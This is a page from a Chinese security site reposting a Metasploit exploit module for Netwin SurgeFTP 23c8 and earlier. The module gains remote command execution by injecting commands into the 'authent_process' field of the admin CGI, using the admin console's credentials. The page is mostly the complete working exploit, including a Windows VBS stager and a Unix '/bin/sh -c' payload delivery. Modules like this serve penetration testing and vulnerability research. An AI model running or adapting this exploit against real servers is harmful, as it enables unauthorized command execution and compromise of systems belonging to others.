首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Netwin SurgeFTP Remote Command Execution
来源:http://www.metasploit.com 作者:sinn3r 发布时间:2012-12-24  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::CmdStagerVBS

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Netwin SurgeFTP Remote Command Execution',
   'Description'    => %q{
     This module exploits a vulnerability found in Netwin SurgeFTP, version 23c8
    or prior.  In order to execute commands via the FTP service, please note that
    you must have a valid credential to the web-based administrative console.
   },
   'Author'         =>
    [
     'Spencer McIntyre',  #Who found this vuln?
     'sinn3r'
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     ['EDB', '23522']
    ],
   'Targets'        =>
    [
     [ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win'}  ],
     [ 'Unix',    { 'Arch'=>ARCH_CMD, 'Platform'=>'unix', 'Payload'=>{'BadChars' => "\x22"}} ]
    ],
   'DisclosureDate' => 'Dec 06 2012'))

  register_options(
   [
    Opt::RPORT(7021),
    OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
    OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ])
   ], self.class)
 end

 def check
  res = send_request_raw({'uri'=>'/cgi/surgeftpmgr.cgi'})
  if res and res.body =~ /surgeftp\x20\x0d\x0a\x20\x20Manager CGI/
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
  end
 end

 def execute_command(cmd, opts)
  http_send_command("cmd.exe /q /c #{cmd}")
 end

 def http_send_command(command)
  res = send_request_cgi(
  {
   'uri'     => '/cgi/surgeftpmgr.cgi',
   'method'  => 'POST',
   'basic_auth' => datastore['USERNAME'] + ":" + datastore['PASSWORD'],
   'vars_post' =>
    {
     'global_smtp' => "",
     'global_restart' => "",
     'global_style' => "",
     'global_bind' => "",
     'global_passive_ip' => "",
     'global_passive_match' => "",
     'global_logon_mode' => "",
     'global_log_host' => "",
     'global_login_error' => "",
     'global_adminip' => "",
     'global_total_users' => "",
     'global_con_perip' => "",
     'global_ssl' => "",
     'global_ssl_cipher_list' => "",
     'global_implicit_port' => "",
     'log_level' => "",
     'log_home' => "",
     'global_watcher_program_ul' => "",
     'global_watcher_program_dl' => "",
     'authent_process' => command,
     'authent_cmdopts' => "",
     'authent_number' => "",
     'authent_domain' => "",
     'global_strip_user_domain' => "",
     'global_noclass' => "",
     'global_anon_hammer_over_time' => "",
     'global_anon_hammer_max' => "",
     'global_anon_hammer_block_time' => "",
     'global_port' => "",
     'global_mgr_port' => "",
     'global_mgr_ssl_port' => "",
     'cmd_global_save.x' => "36",
     'cmd_global_save.y' => "8",
    }
  })

  if res and res.body =~ /401 Authorization failed/
   fail_with(Exploit::Failure::NoAccess, "Unable to log in!")
  elsif not (res and res.code == 200)
   fail_with(Exploit::Failure::Unknown, 'Failed to execute command.')
  end
 end

 def exploit
  case target['Platform']
  when 'win'
   print_status("#{rhost}:#{rport} - Sending VBS stager...")
   execute_cmdstager({:linemax=>500})

  when 'unix'
   print_status("#{rhost}:#{rport} - Sending payload...")
   http_send_command(%Q|/bin/sh -c "#{payload.encoded}"|)
  end

  handler
 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Foswiki MAKETEXT Remote Comman
·IBM Lotus Notes Client URL Han
·TWiki MAKETEXT Remote Command
·Microsoft SQL Server Database
·Sony PC Companion 2.1 Admin_Re
·PHP-CGI Argument Injection Rem
·Sony PC Companion 2.1 CheckCom
·NVidia Display Driver Buffer O
·Sony PC Companion 2.1 Load() U
·WordPress WP-Property PHP File
·Sony PC Companion 2.1 WebServi
·WordPress Asset-Manager PHP Fi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved